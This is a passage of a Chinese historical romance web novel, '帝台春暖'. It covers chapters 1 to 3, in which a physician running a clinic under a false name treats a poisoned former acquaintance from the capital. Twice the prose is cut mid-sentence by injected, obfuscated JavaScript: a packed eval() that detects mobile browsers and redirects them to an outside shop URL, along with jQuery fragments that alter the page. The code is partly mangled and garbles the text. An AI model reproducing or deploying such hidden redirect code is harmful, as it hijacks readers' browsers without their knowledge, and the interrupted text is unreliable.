《帝台春暖》 1. 神医 归元堂是弋陵有名的医馆。 其名“归元”有两层寓意,一谓“明心见性、返璞归真”,二谓“归元固本、病体康健”,实在是神形兼修,妙哉妙哉。 当然,仅凭如此自不足以令医馆声名远播。 里边坐堂的江娘子才是此处真正的招牌! 其人不仅身怀妙手回春之术,还是少见的女郎中,周边诸县富户家里的夫人女郎每有身体不适,都首选来归元堂看病抓药,不过短短两年时间,便已积攒出“妇科圣手”的口碑,竟隐隐有和宁州第一医馆南山堂分庭抗礼之势。 但若有好事者向南山堂的掌柜林伯鸿多嘴问起,林老先生定会捋着他那已然拖到前襟的雪白胡须,横眉怒目,痛斥一句“旁门左道”! 按说江娘子的师门乃是百年医药世家青囊山庄,怎么都该是名门正派,可她经营医馆的路数却实在是野得很。 寻常医馆赚银子无非就是靠问诊开药,可普通人家平日里有个头痛脑热多半都是自己顶一顶便过去了,最多也就开几钱银翘、柴胡、板蓝根,统共也没有几分利。 归元堂索性就将常见疾病的诊费压低,权当做点善事博个好名声。 而那些专骗…… 哦,是专供富贵人家的阴阳平衡、益气养血、舒筋通络、十全大补之方,才是江娘子生意的大头。 若客官介意“是药三分毒”,归元堂还有与弋陵多家酒楼合作推出的精品药膳可供选择,譬如什么鹿茸炖鸡、灵芝捞鸭,银子到位了还能一对一量身定制配方,按需保养、未病先防。 当然,如果江娘子只是将生意拓到这个份上,同行倒也不至于如此不忿。 毕竟《内经》有言,“上工治未病”,谁家药房里没有几帖延年养生的方子呢? 可人家偏还有别的花活儿! 坊间都传,在归元堂里瞧病,那可当真是一种美的享受! 医馆坐落在宁州治所弋陵县南城的万寿街,是一处闹中取静的宅子,庭院修得深,里面植着郁郁葱葱的林木,前院用来经营,内院则用来住家。 常驻此处的除江娘子外,另有一位生得唇红齿白的少年药僮宋福,模样温良乖巧,待客体贴周到,开工不过数月就得到“送福童子”的美称,而在医馆忙时还会有或清秀或俊美的青囊山庄年轻弟子自南郊药圃轮流下山过来帮衬,四顾之下,处处都是风景。 正所谓“赏心悦目”,这心情舒畅,还不是啥病都能立时好个大半? 再说那掌柜的江娘子,长相更是娇美动人,平日虽几乎不施粉黛,却愈发突显出那份天生丽质,引得前来求医的女娘们纷纷讨要养颜秘方。 她倒也不藏私,不出十日就上架了足足八种美肤奇方,气得弋陵卖胭脂水粉的掌柜想起这茬都恨得牙痒,转头还得老老实实地给自家夫人抢上几份“冰肌玉颜散”。 有这般医术超群、心思活络的美貌娘子坐堂,医馆的生意自是没话说,莫说真有不适需要求诊瞧病,就是闲来无事也想买几包润喉茶、三红汤带回去泡一泡,只要开业的招幌挂出去,不出一刻堂内便是人声鼎沸。 江楚禾从辰时中忙到酉时末,才终于将最后一位主顾送出门,她揉揉已然有些僵硬的肩颈,仰头瞧了瞧天色,忍不住犯起嘀咕:眼下已到傍晚,宋福那小子怎的还不回来? 担忧刚漫上心头,门外就传来一阵动静。 “江……” “娘……” “子……” 这半捏着的嗓子和故意拖长的尾音,江楚禾立即认出来人是谁。 她心道不妙,第一反应就是赶紧抓个帮手过来顶上,好快些溜之大吉。可还未等她起身,那五十来岁的老妇就已大步迈至眼前,身手敏捷有如束发少年,连一丁点机会都不给她。 还能如何?硬着头皮先上呗! 于是她再次挤出笑脸,上前迎了过去,“是钱媪来啦!今儿个是顺路来瞧新货吗?刚巧我新制了些甘草茶,能缓解咽部不适,包几服先给你尝尝?” “哎呦!江娘子总是这么客气!” 钱惠姑装模作样地挥几下手中的帕子,一股浓郁的脂粉味登时直窜脑门,江楚禾赶忙闭气,忍住那阵要打喷嚏的冲动。 “那……老身可就……恭敬不如从命啦!”才用凤仙花染上红色蔻丹的五指迅速伸将过来,在接过药包的同时,还顺便拍了拍她的手背,做出一副语重心长的姿态,“江娘子啊,老身上回说的那位陈郎,你考虑得怎么样了呀?” 都说“吃人嘴软,拿人手短”,为何她就这般没有眼色? 江楚禾在心中大翻白眼,面上却还是保持着得体的微笑,客气地回道:“钱媪费心,可是……我目下还没有成亲的打算呢!” “嘿呀!那怎么成!”钱惠姑猛地一跺脚。 这位钱媪是在弋陵县衙里登记在册的媒婆,于旁人婚嫁一事格外上心,每逢见到单身男女,不论对方意愿如何,总要先主动牵几条红线试试。自从知晓这位神医娘子居然年近二十仍未成婚后,便热心地为她张罗起来,隔三差五地往这儿介绍未婚郎君。 江楚禾看她人脉广、嘴巴碎,成日将“归元堂江娘子人美心善医术佳”的口碑广而告之,活脱脱一个长着嘴的流动招牌,便不好将话说得太死,只得兵来将挡、水来土掩,临了再去应付。 譬如在书生张郎“久闻江娘子蕙质兰心,特来相见”时扛着柴刀调教药僮,又譬如在商户李郎送来锦缎六匹“以示诚意”时赤足散发念佛诵经,像是生怕有谁会看上自己。 “哎呀!我的江娘子哟!” 每当想起江楚禾的累累前科,钱惠姑都深感挫败,然而在面对这个职业生涯里前所未有的拦路虎时,她还是选择继续以情动之、以理晓之。 敬业之心可昭日月。 她猛一跺脚,又规劝起来:“这件事咱可拖不得呀!寻常女子及笄之年便合该婚嫁了,江娘子你如今年近双十,已算是出手晚的,若不抓紧这最后的好年华,再过几年……哎哟!你别嫌老身说话难听,咱们女儿家就跟那花骨朵一样,等过了花期那可就……” 江楚禾看她那副欲言又止然而止也止不住的样子就觉得好笑。 “钱媪说的我都明白,可我也不定非得嫁人不是?” “啊呦!”钱惠姑闻言大惊,这都什么惊世骇俗的言论? 她半掩着嘴,摆出一副震惊神色瞠目结舌了半晌,这才继续道:“老身知道这医馆生意好,江娘子不必靠嫁汉来穿衣吃饭,可咱们女儿家总得有个归宿不是,要不然……将来这天冷夜长的,身边连个说体己话的人都没有!” 忙活一整天下来,口干舌燥只想躺平的江楚禾忍不住腹诽:“还要说体己话?呵,我根本就不想说话!” 钱惠姑见她一副身心俱疲的模样,全不似方才的张牙舞爪,以为仅凭自己这几句话便轻松让她缴了械,赶忙一鼓作气继续劝道:“我听说,江娘子家里也没别人了……唉……不是老身有意挑起你的伤心事,只是……哎呀!你如今太年轻,还体会不到,等到了我这个岁数啊……” 她一边说着,一边勉强挤出两滴热泪,在用帕子抹了两下后又假作抽泣道:“到时候你就明白了,这身边还是得有个人啊,不然……倒在哪处都没人知道的……你看二林村的那谁……” “东家!东家快来!” 钱惠姑刚酝酿好情绪,准备跟江楚禾细讲这十里八乡都有谁夜半倒在家中无人知晓,就见宋福推着小车大呼小叫地冲进院里。 “东家!有位郎君受伤倒在了綦江边上,我探了探还有气呢!” 往日里这面容清俊的少年药僮说话可都慢条斯理的,向来是一副文雅客气的模样,怎的突然这般急躁? 钱惠姑顶不住好奇之心,也跟着江楚禾迎上去,远远看了一眼。 那小车上正载着位不省人事的郎君,此人身量奇高,以至于被宋福用小车推来时,大半条腿都耷拉在外边,可惜脸被斗笠遮得严严实实,也不知相貌如何。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922986|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱惠姑又向前凑近一些,这才发现他那身几乎被水浸透的素白衣裳上满满都是暗红的血迹,外袍的料子虽然看着高级得很,如今却已被兵器破坏得七七八八,如烂布般湿答答地裹在身上。 她又顺着挽起的长袖向对方手臂看去,上面有几道深可见骨的伤口,许是因浸水太久的缘故,溃烂得已十分明显。 “呕……” 钱惠姑忍不住干呕一声,随即用她那方像是被脂粉腌过的嫣红帕子捂住口鼻。 在缓了几息后,她忙不迭地道别:“江娘子你先忙,老身……这便回去了!” 江楚禾本也无心与这碎嘴媒婆继续纠缠,眼下更是将注意力尽数放在了那个受伤的无名郎君身上,她闻言草草行一个礼,然后轻推宋福一把:“你去送下。” 钱惠姑眼神瞟过宋福手上的血污,瞬间胃液翻涌,连连拒绝道:“不必!送福童子也留步吧,救人要紧!救人要紧!” 说罢,她拎起桌上的甘草茶,一刻不停地小跑离开。 江楚禾见她跑得这般快,便也没再相送,转头就从药寮里叫来个帮手,同宋福一起将那无名郎君搬进了病舍中。 “阿福,你细说下在哪儿见到这人,当时什么情况,你的初步诊断如何。” 江楚禾站在病舍门口,一边指挥众人准备热水和器材,一边向宋福发问,后者正在给那无名郎君剥下血衣,听她问话,也不敢含糊,照实回道:“我路过时见他趴在綦江边上,半个身子都浸在水里,还当他是溺水,可凑近才发现此人只是晕了过去,应是……” “应是什么?” “应是强撑着从水中游上了岸,但因为受伤太重、失血过多,所以体力不支才晕倒的。” “嗯,待我检查后再看你说得对不对,若你判断准确,明日可加个鸡腿!” 宋福闻言大喜,活儿也干得更加卖力。 他的身量在男子当中并不算高,体格也偏瘦削,但因常年粗使的缘故,手上的力气却大得很,三两下便麻利地剥掉了那层湿漉漉的外袍。 然后,他就发现…… 自己好像高兴的有些早了。 谁敢信?他居然在这个环节卡了壳! “东家……”宋福可怜兮兮地求救起来。 “怎么了?你快替他把这身儿脱了,我好给他医外伤啊!”江楚禾十分不解,怎么给男人脱个衣裳还值得他这般扭扭捏捏的。 几息之后,宋福磕磕巴巴地道出实情:“这郎君……不知在里衣上穿了个啥,我……解不开……” 她方才还沉浸在“让阿福坐堂问诊,自己躺平分钱”的春秋大梦里,现在却发现这小子居然连这点事都搞不定,心理落差委实过大。 “不是吧你!”江楚禾掌灯凑近。 只见那郎君在里衣之外还紧紧束着一层软甲背心,除肩部与肋下几处被尖锐兵器破坏的痕迹外,整件软甲严丝合缝如贴身寝衣,一时竟瞧不出何处才是拆解的关窍。 江楚禾看后不免呼吸一滞,此物她再熟悉不过。 竟是玄铁软甲! 此种软甲由两层玄铁锁子打造,细密锁扣环环相连浑若一体,形如锁网、薄如单衣,因其坚韧且柔软的特性可贴身穿着,甚至起居坐卧之时都不必脱下。 玄铁本身已非寻常之物,而玄铁软甲则更因原料珍贵、工艺繁琐而尤其贵重,即便是豪掷千金也无从购得,只有通过御赐这唯一途径才有可能获取。 在江楚禾的印象中,除皇室贵胄和少数几位朝中要员外,能够得到此物的人可说是凤毛麟角,当年她的堂兄还是凭战时先登之功才获赐一件玄铁软甲。 如此想来,这无名郎君的身份恐怕…… 兴京旧事涌上心头,江楚禾紧张得连手指都有些微微颤动。 她深深呼吸稳住心神,这才双手举灯,望向那张被凌乱须发遮盖,又满是血污的脸。 待看清此人容貌后,她不禁惊呼出声。 “怎么是他?” 2. 故旧 见江楚禾面色不对,宋福赶忙接过她手中的灯盏,小心翼翼地问道:“东家……可是认得这郎君?” “嗯,他是我在兴京时的旧识。”她不想多谈,只如此简单解释后便不再做声。 但是这么短短一句话就已将宋福吓得够呛,他“啊”地惊叫出来。 要知道少庄主在返回郾州前还特意叮嘱过,若是兴京来人向他打听东家过去的事情,一概能避则避,切莫招来麻烦。 他可倒好,直接把人给带回家了! 就少庄主那脾气,还不得罚他一辈子留在药圃挖野草! 宋福顿感前途一片灰暗,忍不住嗫嚅着问道:“东家……我……是不是不该救他回来啊……” 江楚禾抬手就在他后脑勺上来了一记,“你说什么浑话!我就是这样教你的?” 她手上没使多大力,语气却是凶得很。 宋福缩了缩脖子,没敢吭声,闭起双眼满脸悲壮地等待许久,却没迎来预想中的那一通臭骂。 “你等什么呢?” 他赶忙睁开眼,转头却见江楚禾已经在那郎君的身侧摸索起来。 不同于宋福那一通毫无章法的胡乱捣鼓,她没两下就解开软甲,然后偏了偏头,示意他接着去给人脱衣裳。 宋福会意上前,但心里却仍惦记着两人方才的对话。 在他第四次战战兢兢地转头看她后,江楚禾终于开口道:“身为医者,断没有见死不救的道理,你这次做得不错,今后也理当如此。” 说罢,她背过身去,手上叮呤咣啷的响着,像是在整理工具。 瞧不见她的神情,宋福心里有些打鼓,“可他……若将东家在此处的消息给泄露出去,可咋办呀!” 江楚禾沉默良久,不知是在想些什么。 宋福不敢言语,只好默默解开那郎君的里衣,又用清水简单擦去他肌肤表面的血污,待准备工作都已妥当后,才听得江楚禾重重呼出一口浊气,像是终于下定决心。 “此君曾救我性命,如今我为他医治也算是报恩,不论后事如何,眼下还是救人要紧。” 如此想来,她内心平静许多,转身便检查起那人的伤势来。 正如宋福之前所说,此人并未溺水,只是身负重伤又强撑着游至岸边,这才因体力不济昏死过去。 江楚禾按规矩先给他把了脉,原想他无非就是寻常的疮疡发热,不料竟还真让她诊出一些不同寻常的动静。 “他体内有毒。” “啊?”宋福端着托盘的手抖了一抖。 他在江边捡到这无名郎君时就为他诊过脉,可丁点没看出他中毒的事。 见宋福又将脑袋耷拉下去,一脸如丧考妣的衰样儿,江楚禾觉得身为东家还是得恩威并施、宽严相济,现下正该给予他恰到好处的鼓励。 于是,她出言宽慰道:“他应当是在第一时间就已用内力将各处大穴封住,所以毒素并未扩散,你经验不足,瞧不出也是自然,不必如此气馁。” 说着她又双手扶起那人的脑袋,细细观察一番。 许是因失血过多又久未进食的缘故,他面色灰白、唇无血色,但除此之外并没有其他异常,江楚禾微微松一口气。 如此看来,他所中之毒应暂不致命,眼下还是外伤更要紧些。 这么想着,她拿起手边的工具,仔细剜出他外伤处的腐肉,在擦净伤口后又上了两次药粉,这才用干净的布条给他包扎起来。 整套操作看似简单,落到实处却都是细活,待处理完毕,天色已然漆黑,前来帮手的药圃弟子早已结伴回去,只留下宋福打好温水正在替那伤痕累累的郎君擦.拭.身.体。 江楚禾先前的注意力都在治疗外伤上面,现在包扎处理终于完成,解毒的事又得等他醒来之后才能有所尝试,现下无事,紧绷着的精神终于松懈下来,这才将眼神又放在了那个多年未见的旧相识身上。 此时宋福正在为他剃去多余的须髯,这还是江楚禾亲自立下的规矩。 因地处南方瘴疠之乡,此地虫媒甚是猖獗。 在江楚禾数年前尚未出师之时,就曾遇到过扁虱藏身病患须髯之中吸食血液的例子,而她当时还因经验不足险些贻误抢救的良机。 打那以后,她便对患者外露毛发的卫生格外注意,自然也将这个习惯教给了在“归元堂”做事的众位同门。 眼下宋福已将那人面部血污擦拭干净,透出暖玉般白皙细腻的肌肤来。 不得不说,这还真是一副少见的好容貌。 他的脸型瘦削而棱角分明,额头饱满、下颌精致,将刚毅与优雅完美融合为一体;剑眉长睫、山.根.高.挺,五官秀美又不失英气,虽然眉眼漂亮得过分,却因高.大.挺.拔的身躯而显不出一丝阴柔。 江楚禾的视线跟随宋福拿着布巾的手,慢慢扫过那人饱.满.的.胸.膛、紧.致.的.腰.线,最终停留在他胸.腹的伤疤上。 相比那张清逸俊美的面容,他的身.体.则有几分与之不相协调的野蛮。 精壮劲瘦的躯干平日隐藏在广袖长袍中,再配上清秀俊俏的容貌,难免让人误将他当做是个弱不禁风的书生,在这种预期下若是乍一见到他的身.体,是人都免不得要惊讶一番。 江楚禾早就见识过他的身手,自然不会天真地将他当成个文弱的公子哥,可她看到这副堪称猿臂狼腰的身材后,依然受到了不小的震撼。 胸.腹.紧.实.的肌肉被包裹在白皙如玉的皮肤之中,交错的旧日疤痕清晰可见,随着呼吸舒张又收缩,像是蛰伏着一股蓬勃的力量。 江楚禾下意识又向前走近一步,仔细观察着他胸.腹.之上那几片淡淡的肉色凸起。 他那几处最为明显的伤痕应是战场上常见的长.枪.箭镞所致,约莫像是五年前留下的样子,但细看之下却不难发现,除此之外,他的身上还有许多形状诡异的伤疤,细碎地散布在胸膛之上,瞧着竟像是已有八、九年之久。 彼时他至多是个十五岁的少年,怎会受如此重伤? 江楚禾带着疑问,又将手伸了上去。 “咕噜。”在指尖快要触到那人的肌肤时,她的肚子不合时宜地发出声响。 宋福闻之侧目,大受震撼:这一屋子腐肉血腥之气,竟然能给她闻饿了? 随后他又顺着江楚禾的手,将视线移向那俊美郎君的胸腹之上。 不知为何,他的东家此时正将指腹堪堪落在那里,还一脸欲行不轨之事却被人当场拿住的神情。 江楚禾显然也没料到宋福会突然转过头来。 她先顿了顿,而后像是意识到如此动作恐怕会显得不太清白,只好强作镇定地按压几下那人的胃部,道:“那什么……今日忙得太晚,我有些肚饿,这才想起看看这人是不是也许久未曾用膳。如今他人还没醒,想要喂粥服药都不容易,我去将上回剩下的浑元丹拿一粒给他先顶着。” 所谓“浑元”,乃“天地正气”之意,而这浑元丹听着虽颇有几分仙丹妙药的意思,但其实只是江楚禾选取一干营养药物炮制而成的大补药丸,专供本地神棍……哦不,得道高人辅助修行之用。 在宁州西北部,与郾、越两州交界处的凌霄县里有座久负盛名的鹤鸣观,藏于深山已近千年,而在五十年前其现任主持冲虚真人因助先帝夺嫡有功而被敕封为“弘教辅国真人”后,此观更是名声大噪、地位超然。 不过这位弘教辅国真人的心思却不在俗务之上,他在拒绝国师之位后便开始修习辟谷之法,吸风饮露不似凡人,如今已得百十来岁的高寿,神功几近大成。 观内长老见状也纷纷效仿,但大多难堪此苦,又不肯承认自己道行尚浅,于是便差心腹暗中搜罗“神药”以作辅助,而江楚禾所制的浑元丹便是为助众道长辟谷有成而精心炮制出的滋养佳品,服之可迅速补益,乃至数日不食五谷仍无碍体格康健。 眼下那人久未进食,服用此丸也算是对症。 她取来一粒浑元丹捏着下巴给他送进嘴里,转头又将视线放在那片正随着呼吸上下起伏的饱.满.胸.膛.上。 然后,她默默吞了下口水,在脸颊渐渐烧起时迅速挪开眼。 江楚禾觉得自己不太对劲。 身为医者,她拜入师门所学的第一课便是在行医期间为了治病救人而不得不看到、甚至触碰病患的隐.私.部.位时,该如何做到心无旁骛,保持一颗纯净庄重的赤子之心。 更何况行医数年,她见过的男女皮囊数不胜数,早就如屠户看猪一样习以为常,何曾有过这般失态? “凡大医治病,必当安神定志,无欲无求;夫大医之体,欲得澄神内视,望之俨然……” 江楚禾闭眼默诵数遍《大医精诚》,总算在关键时刻重拾医德。 两眼瞥过那具勾得她心神不宁的躯体,她带着几分得道仙长斩魔降妖时的嫉恶如仇,对宋福道:“你去找身干净衣裳给他换上。” “是,东家。”宋福闻言立即擦净手,麻利儿地从病舍退了出去。 可他跑出两步后却又折返回来,“那个……东家……” “怎么还不快去?” 宋福扭捏一阵,这才伸出手在自己头顶比划了两下,表情十分为难地说道:“这位郎君身量太高,瞧着得有八尺往上,比我高出半尺还多,我的衣裳……他指定穿不了。” 江楚禾看了眼宋福那副比自己还矮上几寸的小身板,心道此言不虚,于是又挠头想起了别的法子。 “对了!不是还有那套衣裳呢!”她灵机一动,提议道:“你去我师兄屋里,将那身黛紫色的新衣裳拿过来。” “啊?可是……那不是东家给……不成!不成!” 少庄主的那张脸刚在脑海中冒个头,宋福就吓得连连摆手。 “怎么不成了?师兄才回郾州不久,近日又没什么事要过来,不如先将那身衣裳拿来应急,到时我再做套一模一样的给他就是。” 十余日前师兄因急事被传回师门,离开此处时那套衣裳尚未完工,他不忍让江楚禾连夜赶制,便说好要待下次回来时再穿,前几天她刚将衣裳做好,眼下就放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922987|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他那屋里,此时顶上再合适不过。 可宋福许是平时苦于自家少庄主的淫威,愣是半天都不敢动。 江楚禾见他这副怂样,也是有些哭笑不得:“如今还未到正月末,夜里凉得很,再不赶紧给他换身衣裳,到时若染上风寒,诸病叠加之下,你我岂不是又要忙活一场?你便是再怕少庄主,也不能拎不清此事轻重吧!” 说罢,她一伸腿,作势就要朝着对方踢过去,“听我的,快去!” 眼看那一脚就要上身,宋福终于就范。 刚朝少庄主屋子的方向跑出几步,他又听得江楚禾在身后大喊:“你拿来后先将里衣给他换了,我去热点米粥吃!” 待江楚禾吃饱喝足再回到病舍时,宋福已按她吩咐给那人换好了里衣,又拧了用以降温的湿布巾放在他额头,此刻正将叠得方方正正的干净外袍与从那人怀中取出的荷囊钱袋等物件一一码好,放在床边的小案上。 “阿福,你忙完就去吃点东西吧,前日腌的芦菔干正是味道最好的时候。” “是,东家。” 江楚禾一眼瞥到床头那分外眼熟的缥色荷囊,晃神一瞬,连宋福接下来又说些什么都没听进去,只呆呆地回一句:“阿福今日辛苦,吃完就回去歇着吧,不必再来病舍了。” “可是……” 按归元堂的往日惯例,若有重伤病患需要留宿医馆,二人都会在病舍轮流守夜,以免患者夜间病情反复,出现意外。 方才他正是在和东家商量由自己守着上半夜,好让她先歇一阵的,怎么现下又变了说法? 宋福有些摸不着头脑。 见他没有反应,江楚禾又补充道:“今夜我来守吧,你回去歇着,不必再过来了。” “啊?可……东家已经忙活一天,再熬一宿怕是……” 虽说病舍内还有一方小榻可供守夜人短暂小憩,可按往日经验,在此处顶多只能闭眼打个盹,实在算不得真正的休息。 “正巧明日休沐,到时待他情况稳定,我再行补眠便是。你快去吧,再迟,晚膳可就要凉了。” 宋福被推搡着离开病舍,只好按江楚禾的嘱咐去东厨吃粥,待将锅碗瓢盆一一洗净,天色已近亥时。 他回到自己居住的耳房,拿起纸笔将东家施救时提到的要点逐一记录下来,又比对着少庄主留下的古籍竹简添好批注。 宋福自认于行医一道并没有多少天赋,这两年来全靠勤学苦练才勉强端稳饭碗,原就比旁的弟子要用心些,在见到少庄主那般天资过人之辈仍日夜不倦刻苦勤读后,更是深受鼓舞,自此再遇到一知半解的地方,定要钻研透彻才肯罢休。 今日所学大多是外伤处理,宋福自认已算熟练,只需改日再行温习即可,但那郎君所中之毒,他却是初次遇到。 思及此处,他忙找来《奇毒考》逐句阅读,又翻看《脉经注》查看半晌,始终寻不着头绪,眼看已近深夜,宋福却越发清醒。 他想,若揣着此事入睡,恐怕也不得好眠,倒不如日事日毕来得轻松畅快,于是果断从榻上翻身.下来,卷起书简就要去病舍,准备向东家请教个明白。 此时已是四更天,漆黑的夜空看不见一丝月色,宋福一手拎着灯笼,一手抱着竹简,还要时时留意着脚下,这才趿拉着鞋走到病舍前。 屋里点着一盏小灯,江楚禾坐在床边矮凳上,斜倚着木雕立柱正阖眼小憩,宋福轻手轻脚地放下东西,近前探了探那郎君的天庭。 额上的湿布巾刚换过不久,现下还带着丝丝凉意,因伤口溃烂而烧起的高热已褪下大半,以他的经验来看,此人要不了几个时辰应当就能醒来。 宋福松了口气,转头又看了眼自家那形容憔悴的东家,到底是没忍心叫醒她,驻足片刻后还是小心翼翼地揣起竹简,从病舍悄悄离开。 江楚禾起先只是计划阖眼假寐一阵好放松下已然有些酸痛的双目,可疲惫的身躯却渐渐失去意识,在窗外风吹树枝的沙沙作响中,她昏昏沉沉地睡了过去,连宋福进屋走过一遭都浑然不觉。 恍惚间,她又回到那辆疾驰的马车上,方才还用一把锋利骨刀抵着她脖颈的老方士此时已经咽气,正歪斜着躺倒在车厢之中。 江楚禾忙向窗外看去,两侧风景一闪即过,他们分明正奔向万丈悬崖。 “停车!快停车!” 她一把掀开车上的帷幔,只见一身穿黛紫色长袍的男子正手持缰绳,艰难驾驭着受惊的马匹。 像是听到了她的呼喊,那人缓缓转过来,露出满身的血污。 “晏安?你为何……” 江楚禾喊着他的名字,想问他为何身在此处,又怎会伤得如此之重。 可无论怎么努力,她都发不出一丝声音,只能这般与他无言对视,眼睁睁看着失控的马车冲向山路尽头。 下一瞬便是天旋地转,那马匹踉跄几下,最终带着车厢一起摔入悬崖。 正当万物即将归于黑暗时,她听到一个低哑的嗓音在耳边声声唤道:“楚禾……楚禾……” 江楚禾猛然惊醒。 3. 疑心 病舍内的陶灯此时已快要燃尽,江楚禾顾不上添些新油,径直举起将熄未熄的灯盏,凑近去瞧身旁那人。 只见他双拳紧握,蹙着眉头正断断续续地念叨些什么。 江楚禾探了探他的额头,眼下高热已然褪去,但要苏醒怕是还得有些时辰,想来方才只是此人陷入梦魇,在混沌中无意识的低吟。 她俯身凑近,试图将他呼喊的内容听得再真切一些,可那人却紧抿双唇不再出声。 江楚禾自嘲地笑了起来:自己这是在想什么? 虽说她曾与此人在生死关头相携相伴,又凭借堪比挚交的默契于危难中逃出生天,可说到底,两人不过只是旧日相识,细究起来怕是连好友都算不上。 更何况,她之前从未向此人透露过自己的闺名,他又怎可能在意识不清之际声声唤着“楚禾”呢? 江楚禾起身用凉水拍一拍脸,总算好生清醒一番,这才思虑起更要紧的事情来。 虽然她之前厉声喝止了宋福因害怕暴露自己行踪而险些将这人丢出门外的举动,但冷静细想,江楚禾不得不承认,他的担忧其实不无道理。 她化名南下苟活至今,要查的事情还尚未有头绪,若是这般轻易就被人戳穿身份,以至被送京法办,又如何对得起自家那数百口枉死的亲人? 江楚禾看着面前的人,在心中默默思忖:依此人之前的作派来看,应当是个秉公任直的主儿,若醒来后认出了她,多半是不会看在救命之恩的份上装聋作哑的。 更何况…… 他身份特殊,即便有意帮她,恐怕也是身不由己。 她不禁想起当年与此人初见时,他那一身虎贲郎的装束。 虎贲军在本朝乃是仅受皇帝一人节制的精.锐.部.队,依其职能特点共分为忠、勇、礼、信、孝五营。 其中,忠字营为天子腹心,掌宿卫宫廷;勇字营为国朝重兵,乃近卫亲军;礼字营为皇家仪仗,兼出行护卫。 若说以上三营与别朝禁卫并无太大区别,那这信字营与孝字营可有些说头。 正所谓“弃君之命,不信。” 信字营主打的就是一个唯君命是从,营中各级成员均为死士,再择其优胜者被选派为随侍皇族的影卫,享受比肩五品高官的优厚待遇。 但一切都有代价,凡被选拔进入信字营者,皆终身不得婚配,在经建兴帝改革之后,为保证其忠诚无二,更需服下名为“死契”的特制毒药,如不定期用药延缓发作,便会受烈火炽心之苦,直至筋脉寸断,而皇族影卫若护主不力,更会面临凌迟酷刑。 相较之下,孝字营的要求就要宽松许多。 他们长期驻扎在兴京北部的观云山,素日里屯田守陵,鲜有需要动起刀兵的机会,向来被视作虎贲军五营当中最好糊弄的差事,所受训练的严苛程度与其他四营完全不能相提并论。 江楚禾回忆起当年这位兄台只身入阵取人首级的壮举,首先将孝字营排除在外。 至于忠、勇、礼三营…… 她记得堂兄曾说起过,他们除战时出征或随行护卫外,平日皆不得离队,亦不允许因私出京,看来也能排除他出自这三营的可能性。 如此一想,答案不言自明。 此人八成就是信字营的死士,而他体内之毒恐怕就是传说中的“死契”! 思及此处,江楚禾几乎是立即下定决心,断不能在他面前暴露身份。 毕竟她所谋之事尚未有眉目,眼下还是保命要紧,可不能让这么个朝廷鹰犬给逮回京去。 江楚禾在心中暗暗盘算,此人多半在天明后不久就会转醒,自己可得赶在他睁眼之前先出门躲上一阵,待宋福将他打发走后再回医馆。 “祖师爷爷在上,弟子绝对没有玩忽职守草菅人命的意思啊!” 不知是不是纯为图个乐子,江楚禾一边说着,一边朝墙上挂着的华佗像随便拜了几下,然后顺手从供桌的瓷盘里捏起个枣泥酥放进嘴里。 姿态虽然敷衍,但她这话却并非瞎说。 方才她已为那人行过一遍针,算是将他体内的余毒暂时压制下去,又拟好一份可延缓毒素扩散的方子塞进他的袖袋中,若他能照着方子按时服药,那再撑个十天半月应不成问题,到时他总该有机会拿到解药了吧? 江楚禾这么想着,眼看天边已渐渐泛起光亮,决定赶紧吃个饱饭就出门躲着去。 她刚抬脚迈出病舍,便见宋福端着餐盘朝这边走来:“东家!来吃些豆粥吧,刚出锅还热着呢!” 他将粥碗放在门口的石桌之上,两眼望向病舍方向,忧心忡忡地问:“东家,病舍里的那位郎君……已经没事了吧?” “嗯,他已经退烧,估摸这一两个时辰内就会醒来。” “那他的……”“哦,对了。” 宋福刚要仔细问问那郎君中毒的事,便被她截住话头。 “等下我要出门儿一趟,他若醒来问起此处的情况,你就说你是青囊山庄弟子,碰巧见他倒在綦江边儿上就顺手将他救了回来,如今他外伤已无大碍,自行离去就是。” “啊?那他的毒……”宋福大吃一惊。 往日江楚禾若是路遇急需援手的病患,即便对方身无分文,也都是给人治疗妥当才会送出医馆,怎么这回竟要赶身中奇毒的患者走人? “放心!那毒一时半会儿要不了他的命。”江楚禾三两下吃净豆粥,将碗塞回到宋福手里。 “哦……”他抠着瓷碗粗糙的边沿,看上去很是犹疑。 江楚禾有些不太放心。 自打两年前在善堂中见到宋福的第一面,她便知道这是个老实孩子,而她也正是看上这份璞玉般的诚实质朴才会在青囊山庄一众年轻弟子中独独挑中他带在身边。 如今要想靠他将那人应付过去,怕是还得多交代几句。 “阿福,你只需记得千万别跟他提起我,就说是你自个儿救的人,明白吗?” 不出所料,一听竟要打诳语,宋福的举止立刻局促起来,“人是东家救的……我要是这么说……那不是……骗人吗?” 江楚禾扶额哀叹,这实诚孩子不知儿时在善堂里跟那几位老师父都学了些啥,自己当初真该直接把他扔庙里。 她忍下一万句充满懊悔的真心话,又谆谆善诱道:“阿福,现下我还不能确定他在见到我后会是什么反应,只能先避开他。你放心,以我对他的了解,即便是对你的身份有所怀疑,他也绝不会贸然出手伤害你。” “东家!我……不是担心这个……”宋福急得脸色发红。 “我懂,不必再说了。我收拾一下就出门。” 江楚禾抬手拍了拍宋福略显单薄的肩膀,转身朝内院走去,只留他一人端着碗站在树下,左右踌躇着。 直到那抹缥色身影从内院里翩翩而出,消失在街巷的尽头,宋福这才猛一跺脚,埋怨起自个儿来:“哎呀!还没问东家这是要去哪呢!” 